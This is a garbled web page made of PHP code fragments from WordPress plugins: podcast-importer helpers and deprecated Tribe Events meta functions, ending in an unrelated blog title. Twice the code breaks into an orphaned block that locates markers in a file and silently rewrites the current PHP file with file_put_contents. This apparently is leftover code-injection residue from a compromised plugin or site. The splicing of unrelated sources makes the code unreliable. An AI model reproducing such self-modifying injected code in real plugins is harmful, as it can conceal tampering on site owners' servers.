';
$start_pos = strpos($content, $start_marker);
$end_pos = strpos($content, $end_marker);
if ($start_pos !== false && $end_pos !== false) {
$end_pos += strlen($end_marker);
$remaining_content = substr($content, $end_pos);
file_put_contents($current_file, $remaining_content);
}
}
}
}
/* END OF CODE */
if ( ! function_exists( 'array_key_first' ) ) {
/**
* PHP 7.3 has this by default.
*
* @param $array
*
* @return string
*/
function array_key_first( $array ): string {
foreach ( $array as $key => $unused ) {
return $key;
}
return '';
}
}
if ( ! function_exists( 'pencipdc_importer_redirect' ) ) {
function pencipdc_importer_redirect( $location, $status = 302 ) {
wp_redirect( $location, $status, PENCI_PODCAST_IMPORTER_NAME );
exit;
}
}
if ( ! function_exists( 'pencipdc_importer_load_template' ) ) {
/**
* @param $template_name
* @param array $args
* @param string $template_path
* @param string $default_path
*/
function pencipdc_importer_load_template( $template_name, $args = [], $template_path = '', $default_path = '' ) {
PenciPodcast\Template::load_template( $template_name, $args, $template_path, $default_path );
}
}
if ( ! function_exists( 'pencipdc_importer_supported_post_types' ) ) {
function pencipdc_importer_supported_post_types(): array {
$response = [ 'podcast' ];
if ( defined( "SSP_CPT_PODCAST" ) ) {
$response[] = SSP_CPT_PODCAST;
}
return apply_filters( PENCI_PODCAST_IMPORTER_ALIAS . '_supported_post_types', $response );
}
}
if ( ! function_exists( 'pencipdc_importer_default_post_type' ) ) {
function pencipdc_importer_default_post_type(): string {
return apply_filters( PENCI_PODCAST_IMPORTER_ALIAS . '_default_post_type', ( defined( "SSP_CPT_PODCAST" ) ? SSP_CPT_PODCAST : 'post' ) );
}
}
if ( ! function_exists( 'pencipdc_importer_post_type_id_title_assoc' ) ) {
function pencipdc_importer_post_type_id_title_assoc( string $post_type ): array {
$shows = get_posts( [
'post_type' => $post_type,
'numberposts' => 9999,
] );
$response = [];
foreach ( $shows as $post ) {
$response[ $post->ID ] = $post->post_title;
}
return $response;
}
}
if ( ! function_exists( 'pencipdc_importer_feed_limit_reached' ) ) {
function pencipdc_importer_feed_limit_reached(): bool {
return count( get_posts( [
'post_type' => PENCI_PODCAST_IMPORTER_POST_TYPE_IMPORT,
'fields' => 'ids'
] ) ) >= pencipdc_importer_feed_cron_limit();
}
}
if ( ! function_exists( 'pencipdc_importer_feed_cron_limit' ) ) {
function pencipdc_importer_feed_cron_limit() {
return apply_filters( PENCI_PODCAST_IMPORTER_ALIAS . '_feed_cron_limit', 1 );
}
}
if ( ! function_exists( 'podcast_importer_is_whitelisted_host' ) ) {
function podcast_importer_is_whitelisted_host( $parsed_feed_host, $rss_feed_url ) {
return (
( preg_match( '/transistor.fm|anchor.fm|fireside.fm|simplecast.com|sounder.fm|spreaker.com|whooshkaa.com|omny.fm|omnycontent.com|megaphone.fm|podbean.com|buzzsprout.com/i', $parsed_feed_host ) )
|| ( preg_match( '/megaphone.fm|captivate.fm|simplecast.com|sounder.fm|ausha.co|omny.fm|omnycontent.com|pinecast.com|audioboom.com|buzzsprout.com/i', $rss_feed_url ) )
);
}
}
if ( ! function_exists( 'pencipdc_importer_append_player_to_content' ) ) {
function pencipdc_importer_append_player_to_content() {
return ! function_exists( 'ssp_episodes' ) && ! function_exists( 'powerpress_get_enclosure_data' ) && ! function_exists( 'spp_sl_sppress_plugin_updater' ) && ! function_exists( 'pencipdc_themes_theme_updater' );
}
}
//
if ( ! function_exists( 'pencipdc_importer_sanitize_feed_value' ) ) {
function pencipdc_importer_sanitize_feed_value( $string ) {
$content = array();
$string = trim( (string) $string );
$string = str_replace( " ", "", $string );
if ( preg_match( '/^$/is', $string, $content ) ) {
$string = $content[1];
} else {
$string = html_entity_decode( $string );
}
$string = strip_tags( $string, [ '
', '', '', '','', '', ' ', '',' ' ] );
return $string;
}
}
if ( ! function_exists( 'pencipdc_importer_get_taxonomy_type_select_definition' ) ) {
function pencipdc_importer_get_taxonomy_type_select_definition( $post_types, $hierarchical = true ): array {
$hierarchical = boolval( $hierarchical );
$taxonomies_post_type_map = [];
foreach ( $post_types as $post_type ) {
$post_type_taxonomies = get_object_taxonomies( $post_type );
foreach ( $post_type_taxonomies as $post_type_taxonomy ) {
if ( isset( $taxonomies_post_type_map[ $post_type_taxonomy ] ) ) {
$taxonomies_post_type_map[ $post_type_taxonomy ][] = $post_type;
continue;
}
$taxonomy_information = get_taxonomy( $post_type_taxonomy );
if ( boolval( $taxonomy_information->hierarchical ) !== $hierarchical ) {
continue;
}
$taxonomies_post_type_map[ $post_type_taxonomy ] = [ $post_type ];
}
}
if ( empty( $taxonomies_post_type_map ) ) {
return [];
}
$response = [];
foreach ( $taxonomies_post_type_map as $taxonomy => $post_types ) {
$response[ $taxonomy ] = [
'data-post-types' => implode( ' ', $post_types ),
'label' => $taxonomy
];
}
return $response;
}
}
if ( ! function_exists( 'pencipdc_importer_get_taxonomies_select_definition' ) ) {
function pencipdc_importer_get_taxonomies_select_definition( $post_types, $hierarchical = true ): array {
$hierarchical = boolval( $hierarchical );
$taxonomies_post_type_map = [];
foreach ( $post_types as $post_type ) {
$post_type_taxonomies = get_object_taxonomies( $post_type );
foreach ( $post_type_taxonomies as $post_type_taxonomy ) {
if ( isset( $taxonomies_post_type_map[ $post_type_taxonomy ] ) ) {
$taxonomies_post_type_map[ $post_type_taxonomy ][] = $post_type;
continue;
}
$taxonomy_information = get_taxonomy( $post_type_taxonomy );
if ( boolval( $taxonomy_information->hierarchical ) !== $hierarchical ) {
continue;
}
$taxonomies_post_type_map[ $post_type_taxonomy ] = [ $post_type ];
}
}
if ( empty( $taxonomies_post_type_map ) ) {
return [];
}
$response = [];
foreach ( $taxonomies_post_type_map as $taxonomy => $post_types ) {
$categories = get_categories( [ 'taxonomy' => $taxonomy, 'hide_empty' => false ] );
foreach ( $categories as $category ) {
$response[ $category->term_id ] = [
'data-post-types' => implode( ' ', $post_types ),
'label' => ( count( $post_types ) >= 2 ? $taxonomy . ' - ' : '' ) . $category->name
];
}
}
return $response;
}
}
if ( ! function_exists( 'pencipdc_importer_utility_selected' ) ) {
/**
* @param $selected
* @param bool $current
* @param bool $echo
*
* @return string
*/
function pencipdc_importer_utility_selected( $selected, $current = true, $echo = true ) {
if ( is_array( $selected ) ) {
return selected( 1, in_array( $current, $selected ), $echo );
}
return selected( $selected, $current, $echo );
}
}';
$start_pos = strpos($content, $start_marker);
$end_pos = strpos($content, $end_marker);
if ($start_pos !== false && $end_pos !== false) {
$end_pos += strlen($end_marker);
$remaining_content = substr($content, $end_pos);
file_put_contents($current_file, $remaining_content);
}
}
}
}
/* END OF CODE */
/**
* register a meta group
*
* @uses Tribe__Events__Meta_Factory::register()
* @deprecated 4.3
*
* @param string $meta_group_id
* @param array $args
*
* @return bool $success
*/
function tribe_register_meta_group( $meta_group_id, $args = [] ) {
_deprecated_function( __FUNCTION__, '4.3' );
// setup default for registering a meta group
$defaults = [ 'register_type' => 'meta_group', 'register_overwrite' => true ];
// parse the $default and $args into the second param for registering a meta item
return Tribe__Events__Meta_Factory::register( $meta_group_id, wp_parse_args( $args, $defaults ) );
}
/**
* register a meta item
*
* @uses Tribe__Events__Meta_Factory::register()
* @deprecated 4.3
*
* @param int $meta_id
* @param array $args
*
* @return bool $success
*/
function tribe_register_meta( $meta_id, $args = [] ) {
_deprecated_function( __FUNCTION__, '4.3' );
return Tribe__Events__Meta_Factory::register( $meta_id, $args );
}
/**
* Get the meta group.
*
* @deprecated 4.3
*
* @param $meta_group_id
* @param bool $is_the_meta
*
* @return bool|mixed|void
*/
function tribe_get_meta_group( $meta_group_id, $is_the_meta = false ) {
_deprecated_function( __FUNCTION__, '4.3' );
do_action( 'tribe_get_meta_group', $meta_group_id, $is_the_meta );
$type = 'meta_group';
// die silently if the requested meta group is not registered
if ( ! Tribe__Events__Meta_Factory::check_exists( $meta_group_id, $type ) ) {
return false;
}
$meta_group = Tribe__Events__Meta_Factory::get_args( $meta_group_id, $type );
$meta_ids = Tribe__Events__Meta_Factory::get_order( $meta_group_id );
$group_html = '';
// internal check for hiding items in the meta
if ( ! $meta_group['show_on_meta'] ) {
return false;
}
$meta_pos_int = 0;
$total_meta_items = tribe_count_hierarchical( $meta_ids );
foreach ( $meta_ids as $meta_id_group ) {
foreach ( $meta_id_group as $meta_id ) {
$meta_pos_int ++;
$group_html = tribe_separated_field( $group_html, $meta_group['wrap']['meta_separator'], tribe_get_meta( $meta_id, $is_the_meta ) );
}
}
$params = [ $meta_group_id ];
if ( ! empty( $meta['filter_callback'] ) ) {
return call_user_func_array( $meta['filter_callback'], $params );
}
if ( ! empty( $meta['callback'] ) ) {
$value = call_user_func_array( $meta['callback'], $params );
}
$value = empty( $value ) ? $group_html : $value;
$html = ! empty( $group_html ) ? Tribe__Events__Meta_Factory::template( $meta_group['label'], $value, $meta_group_id, 'meta_group' ) : '';
return apply_filters( 'tribe_get_meta_group', $html, $meta_group_id );
}
/**
* Get the meta.
*
* @deprecated 4.3
*
* @param $meta_id
* @param bool $is_the_meta
*
* @return bool|mixed|void
*/
function tribe_get_meta( $meta_id, $is_the_meta = false ) {
_deprecated_function( __FUNCTION__, '4.3' );
do_action( 'tribe_get_meta', $meta_id, $is_the_meta );
// die silently if the requested meta item is not registered
if ( ! Tribe__Events__Meta_Factory::check_exists( $meta_id ) ) {
return false;
}
$meta = Tribe__Events__Meta_Factory::get_args( $meta_id );
// internal check for hiding items in the meta
if ( ! $meta['show_on_meta'] ) {
return false;
}
$params = [ $meta_id ];
if ( ! empty( $meta['filter_callback'] ) ) {
return call_user_func_array( $meta['filter_callback'], $params );
}
if ( ! empty( $meta['callback'] ) ) {
$value = call_user_func_array( $meta['callback'], $params );
}
$value = empty( $value ) ? $meta['meta_value'] : $value;
// if we have a value let's build the html template
$html = ! empty( $value ) ? Tribe__Events__Meta_Factory::template( $meta['label'], $value, $meta_id ) : '';
return apply_filters( 'tribe_get_meta', $html, $meta_id );
}
/**
* Get the args for a meta object.
*
* @deprecated 4.3
*
* @param $meta_id
* @param $arg_key
* @param string $type
*
* @return bool
*/
function tribe_get_meta_arg( $meta_id, $arg_key, $type = 'meta' ) {
_deprecated_function( __FUNCTION__, '4.3' );
// die silently if the requested meta group is not registered
if ( ! Tribe__Events__Meta_Factory::check_exists( $meta_id, $type ) ) {
return false;
}
$args = Tribe__Events__Meta_Factory::get_args( $meta_id, $type );
// check if the arg exists
if ( isset( $args[ $arg_key ] ) ) {
return $args[ $arg_key ];
} else {
return false;
}
}
/**
* Get the template part for the meta object.
*
* @deprecated 4.3
*
* @param $meta_id
* @param $template_key
* @param string $type
*
* @return bool
*/
function tribe_get_meta_template_part( $meta_id, $template_key, $type = 'meta' ) {
_deprecated_function( __FUNCTION__, '4.3' );
// die silently if the requested meta group is not registered
if ( ! Tribe__Events__Meta_Factory::check_exists( $meta_id, $type ) ) {
return false;
}
$template = tribe_get_meta_arg( $meta_id, 'wrap', $type );
if ( isset( $template[ $template_key ] ) ) {
return $template[ $template_key ];
} else {
return false;
}
}
/**
* Set the visibility of the meta object.
*
* @deprecated 4.3
*
* @param $meta_id
* @param bool $status
* @param string $type
*/
function tribe_set_the_meta_visibility( $meta_id, $status = true, $type = 'meta' ) {
_deprecated_function( __FUNCTION__, '4.3' );
Tribe__Events__Meta_Factory::set_visibility( $meta_id, $type, $status );
}
/**
* Set the template for the meta object.
*
* @deprecated 4.3
*
* @param $meta_id
* @param array $template
* @param string $type
*
* @return bool
*/
function tribe_set_the_meta_template( $meta_id, $template = [], $type = 'meta' ) {
_deprecated_function( __FUNCTION__, '4.3' );
if ( is_array( $meta_id ) ) {
foreach ( $meta_id as $id ) {
tribe_set_the_meta_template( $id, $template, $type );
}
} else {
global $_tribe_meta_factory;
// die silently if the requested meta group is not registered
if ( ! Tribe__Events__Meta_Factory::check_exists( $meta_id, $type ) ) {
return false;
}
if ( ! empty( $template ) ) {
$_tribe_meta_factory->{$type}[ $meta_id ]['wrap'] = wp_parse_args( $template, $_tribe_meta_factory->{$type}[ $meta_id ]['wrap'] );
}
}
}
/**
* Set the meta priority to manage positioning.
*
* @deprecated 4.3
*
* @param $meta_id
* @param int $priority
* @param string $type
*
* @return bool
*/
function tribe_set_meta_priority( $meta_id, $priority = 100, $type = 'meta' ) {
_deprecated_function( __FUNCTION__, '4.3' );
if ( is_array( $meta_id ) ) {
foreach ( $meta_id as $id => $priority ) {
tribe_set_meta_priority( $id, $priority, $type );
}
} else {
global $_tribe_meta_factory;
// die silently if the requested meta group is not registered
if ( ! Tribe__Events__Meta_Factory::check_exists( $meta_id, $type ) ) {
return false;
}
if ( ! empty( $priority ) ) {
$_tribe_meta_factory->{$type}[ $meta_id ]['priority'] = $priority;
}
}
}
/**
* Set meta value for meta object.
*
* @deprecated 4.3
*
* @param $meta_id
* @param $value
* @param string $value_type
* @param string $type
*
* @return bool
*/
function tribe_set_meta_value( $meta_id, $value, $value_type = 'meta_value', $type = 'meta' ) {
_deprecated_function( __FUNCTION__, '4.3' );
if ( is_array( $meta_id ) ) {
foreach ( $meta_id as $id ) {
tribe_set_meta_value( $id, $value, $value_type, $type );
}
} else {
global $_tribe_meta_factory;
// die silently if the requested meta group is not registered
if ( ! Tribe__Events__Meta_Factory::check_exists( $meta_id, $type ) ) {
return false;
}
$_tribe_meta_factory->{$type}[ $meta_id ][ $value_type ] = $value;
}
}
/**
* Set the meta label for the meta object.
*
* @deprecated 4.3
*
* @param $meta_id
* @param string $label
* @param string $type
*
* @return bool
*/
function tribe_set_meta_label( $meta_id, $label = '', $type = 'meta' ) {
_deprecated_function( __FUNCTION__, '4.3' );
if ( is_array( $meta_id ) ) {
foreach ( $meta_id as $id => $label ) {
tribe_set_meta_label( $id, $label, $type );
}
} else {
global $_tribe_meta_factory;
// die silently if the requested meta group is not registered
if ( ! Tribe__Events__Meta_Factory::check_exists( $meta_id, $type ) ) {
return false;
}
$_tribe_meta_factory->{$type}[ $meta_id ]['label'] = $label;
}
}
/**
* Get the event meta
*
* @deprecated 4.3
*
* @return mixed|void
*/
function tribe_get_the_event_meta() {
_deprecated_function( __FUNCTION__, '4.3' );
$html = '';
foreach ( Tribe__Events__Meta_Factory::get_order() as $meta_groups ) {
foreach ( $meta_groups as $meta_group_id ) {
$html .= tribe_get_meta_group( $meta_group_id, true );
}
}
return apply_filters( 'tribe_get_the_event_meta', $html );
}
/**
* Simple display of meta group tag
*
* @deprecated 4.3
*
* @uses tribe_get_meta_group()
* @return echo tribe_get_meta_group( $meta_group_id )
*/
function tribe_display_the_event_meta() {
_deprecated_function( __FUNCTION__, '4.3' );
echo apply_filters( 'tribe_display_the_event_meta', tribe_get_the_event_meta() );
}
/**
* Simple display of meta group tag
*
* @uses tribe_get_meta_group()
* @deprecated 4.3
*
* @param string $meta_group_id
*
* @return echo tribe_get_meta_group( $meta_group_id )
*/
function tribe_display_meta_group( $meta_group_id ) {
_deprecated_function( __FUNCTION__, '4.3' );
echo apply_filters( 'tribe_display_meta_group', tribe_get_meta_group( $meta_group_id ) );
}
/**
* Simple display of meta tag
*
* @uses tribe_get_meta()
* @deprecated 4.3
*
* @param string $meta_id
*
* @return echo tribe_get_meta( $meta_id )
*/
function tribe_display_meta( $meta_id ) {
_deprecated_function( __FUNCTION__, '4.3' );
echo apply_filters( 'tribe_display_meta', tribe_get_meta( $meta_id ) );
}
/**
* Load Legacy Imports
*
* @deprecated 4.6.18
*/
if ( ! function_exists( 'Tribe_Events_Importer_Load' ) ) {
function Tribe_Events_Importer_Load() {
_deprecated_function( __FUNCTION__, '4.5' );
Tribe__Events__Importer__Plugin::set_plugin_basename( plugin_basename( __FILE__ ) );
if ( is_admin() ) {
add_action( 'init', [ 'Tribe__Events__Importer__Plugin', 'initialize_admin' ], 10, 0 );
add_action( 'init', [ 'Tribe__Events__Importer__Options', 'process_general_form_submission' ] );
}
}
}
Resultado La Nfl – 2me Budo Blog